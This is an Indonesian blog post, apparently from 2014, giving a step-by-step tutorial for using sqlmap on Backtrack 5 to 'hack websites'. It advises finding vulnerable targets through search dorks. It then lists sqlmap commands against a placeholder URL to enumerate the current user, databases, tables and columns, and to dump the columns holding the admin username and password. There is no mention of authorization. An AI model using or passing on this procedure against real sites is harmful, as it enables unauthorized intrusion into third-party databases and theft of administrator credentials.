Jumat, 10 Oktober 2014

Cara menggunakan SQLmap di Backtrack

Cara menggunakan SQLmap di Backtrack
Backtrack

Cara Hack website menggunakan Backtrack 5 (sqlmap). Sqlmap adalah sql injection otomatis alat yang membantu Anda untuk hack situs dengan mudah. 

Ikuti langkah-langkah sederhana untuk hack  Website menggunakan backtrack 5 alat sqlmap. 



Pertama yang dipersiapkan adalah situs yang vulnerable menggunakan dork : 

  • Masuk ke direktori sqlmap
  • Perintah: root@bt:~#  cd /pentest/database/sqlmap
  • Lalu jalankan perintah berikut
         root@bt:~# ./sqlmap.py -u http://situs-target-yang-mempunyai-                                                  vuln.com/indexs.html?      id=8 --random-agent --thread               10 --banner



Selanjutnya mencari database dan pengguna terakhir dari web tersebut



    root@bt:~# ./sqlmap.py -u http://situs-target-yang-mempunyai-vuln.com/indexs.html?       id=8 --random-agent --thread 10 --current-user --current-db
    contohnya akan tampil seperti ini :
    [*] tarada >> database dari situs tersebut
    [*] admin@localhost >> admin situs tersebut




Lakukan injeksi pada database yang telah di pilih tadi 


root@bt:~# ./sqlmap.py -u http://situs-target-yang-mempunyai-vuln.com/indexs.html?id=8 --random-agent --thread 10 --dbs

Setelah nama database di dapatkan masukkan perintah berikut untuk melihat isi tables pada database

root@bt:~#  ./sqlmap.py -u http://site_victim.com/indeks.html?staff_id=8 --random-agent --thread 10 -D nama_database --tables




Cari columns dari tables database tersebut.


root@bt:~#  ./sqlmap.py -u http://situs-target-yang-mempunyai-vuln.com/indexs.html?id=8 --random-agent --thread 10 -D nama_database --columns
Columns didapat, sekarang masuk ke column untuk mencari username dan password admin

root@bt:~# ./sqlmap.py -u http://situs-target-yang-mempunyai-vuln.com/indexs.html?id=8 --random-agent --thread 10 -D nama_database -C nama_columns --dump
TERIMA KASIH ATAS KUNJUNGAN SAUDARA
Judul: Cara menggunakan SQLmap di Backtrack
Ditulis oleh Unknown
Rating Blog 5 dari 5
Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke https://tips-triks-ilmu-komputer.blogspot.com/2014/10/cara-menggunakan-sqlmap-di-backtrack.html. Terima kasih sudah singgah membaca artikel ini.
Anda Ingin Kursus Mastering Komputer ?
KLIK DISINI
0 komentar:
Posting Komentar